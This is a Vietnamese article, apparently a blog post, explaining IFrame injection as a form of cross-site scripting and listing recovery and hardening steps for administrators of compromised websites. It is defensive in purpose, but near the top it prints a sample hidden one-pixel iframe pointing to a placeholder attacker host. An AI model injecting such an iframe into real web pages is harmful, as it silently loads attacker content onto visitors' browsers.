Thảo luận về IFrame Injection Attacks

Kỹ thuật tấn công theo kiểu IFrame Injection hiện vẫn đang là 1 dạng xâm nhập cơ bản và phổ biến nhất của mô hình Cross-Site Scripting – XSS. Bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm, trong đó những đoạn mã nguy hiểm đựoc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML cơ bản. Nếu bạn phát hiện được có kẻ đang nhắm vào website của bạn bằng kỹ thuật này, không nên quá lo lắng. Sau đây là 1 số thao tác cần làm khi website lâm vào tình trạng này.

Ví dụ 1 đoãn mã độc hại thường được sử dụng để tấn công:
{xtypo_code}
<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
nội dung của đoạn mã độc
{/xtypo_code}

1. Thường xuyên bảo trì website trong 1 khoảng thời gian nhất định:

Các chuyên gia bảo mật khuyến cáo những người quản trị nên gỡ bỏ toàn bộ website xuống để tránh trường hợp trở thành tâm điểm phát tán mã độc. Và trong toàn bộ quá trình khắc phục, tiếp tục giữ tình trạng offline của website.

2. Thay đổi lại tất cả các mật khẩu:

Thoạt nghe có vẻ đơn giản, những rất nhiều người quản trị hình như không mấy để ý đến khâu cực kỳ quan trọng này. Sau khi bị tin tặc nhòm ngó, bạn nên đổi mới tất cả mật khẩu bao gồm tài khoản ftp, ssh, các tài khoản quản trị, cơ sở dữ liệu …

3. Lưu lại 1 bản của website để phân tích:

Để xác định rõ nguyên nhân và điểm yếu nào đã bị tin tặc khai thác, bạn cần lưu giữ lại 1 bản nguyên tình trạng lúc bị tấn công. Điều này rất có ích cho việc phân tích và ngăn chặn hiểm họa sau này, bạn nên lưu lại website dưới dạng file nén định dạng rar, zip hoặc gzip và lưu trữ tại 1 nơi an toàn. Lưu ý

rằng không bao giờ được lưu file cách ly này trực tiếp trên server.

4. Thay thế toàn bộ website bằng 1 bản sao lưu hoàn toàn sạch sẽ:

Không nên quá dựa vào những nhà cung cấp dịch vụ host rằng họ sẽ sao lưu toàn bộ dữ liệu cho bạn. Rất nhiều bộ phận hỗ trợ kỹ thuật thường xuyên khẳng định rằng họ có tiến hánh sao lưu tự động theo lịch trình, nhưng không gì có thể chắc chắn bằng việc bạn tự làm, hơn nữa 2 phương án dự phòng bao giờ cũng tốt hơn 1 phương án.

5. Kiểm tra lại website và đăng tải trở lại:

Quá trình này nên tiến hành chu đáo để đảm bảo rằng toàn bộ website an toàn và không còn lỗi nữa, sau đó bạn có thể đăng tải website trở lại như trước.

6. Tìm hiểu về nguồn gốc của các cuộc tấn công:

Để đảm bảo rằng những cuộc tấn công sẽ không bao giờ lặp lại, những người quản trị nên tiến hành 1 cuộc kiểm tra, phân tích đầy đủ và chi tiết của cuộc tấn công đó. Do lỗi ở đâu ? Lỗ hổng an ninh hay ứng dụng web ? Hoặc do chế độ phân quyền bị sai lệnh, nhầm lẫn ? Có thể website bị nhiêm virus trực tiếp ngay từ server lưu trữ dữ liệu ? Tất cả đều phải được tìm hiểu và phân tích kỹ lưỡng. Nếu cần thiết, hãy nhờ đến chuyên gia an ninh của các hãng bảo mật hàng đầu thế giới như Kaspersky, BitDefender, Norton, Panda, Avira …

7. Áp dụng các biện pháp bảo mật phù hợp:

Mặc dù bạn đã khôi phục thành công website, nhưng không có gì đảm bảo chắc chắn rằng website của bạn sẽ không bị tấn công thêm lần nào nữa. Nếu lỗ hổng an ninh cũ chưa được khắc phục, có thể website của bạn lại bị tê liệt ngay trong tối nay. Dựa vào các kết quả phân tích thu được ở bước trên, bạn nên áp dụng các biện pháp an ninh phù hợp, nâng cấp server, cài đặt thêm chương trình bảo mật, nâng cấp toàn bộ ứng dụng web hoặc tiến hành sử dụng quy luật bảo mật hoàn toàn mới.

Dựa vào kinh nghiệm quản lý và thông tin thu thập, chúng tôi có thể đóng

góp thêm 1 số lời khuyên và dự đoán khách quan về nguyên nhân như sau.

Các nguyên nhân dễ gặp phải:

- Website sử dụng dịch vụ host giá rẻ
- Dựa trên nền tảng phiên bản cũ của các ứng dụng mã nguồn mở, ví dụ như WordPress 1.0… vốn có khá nhiều lỗ hổng
- Quyền truy cập dữ liệu trên server được thiết lập không theo thứ tự nhất định, ví dụ quyền thao tác với dữ liệu ở mức 777 – đọc, ghi và thực thi
- Các thiếu sót của phần mềm ứng dụng
- Sử dụng FTP thay vì SFTP
- Không hạn chế IP đối với các tài khoản SSH và FTP

Một số thao tác đơn giản nhưng hữu ích:

- Thay đổi mật khẩu định kỳ, ví dụ 2 tuần hoặc 4 tuần 1 lần
- Luôn cập nhật các phiên bản ổn định của ứng dụng
- Thường xuyên "dọn dẹp" các thư mục chứa dữ liệu trên server, để ý nếu có những file lạ đột nhiên xuất hiện
- Các mức phân quyền được thiết lập chuẩn xác
- Thường xuyên trao đổi với các đơn vị, chuyên gia cung cấp dịch vụ bảo mật để nhận được lời khuyên tốt nhất.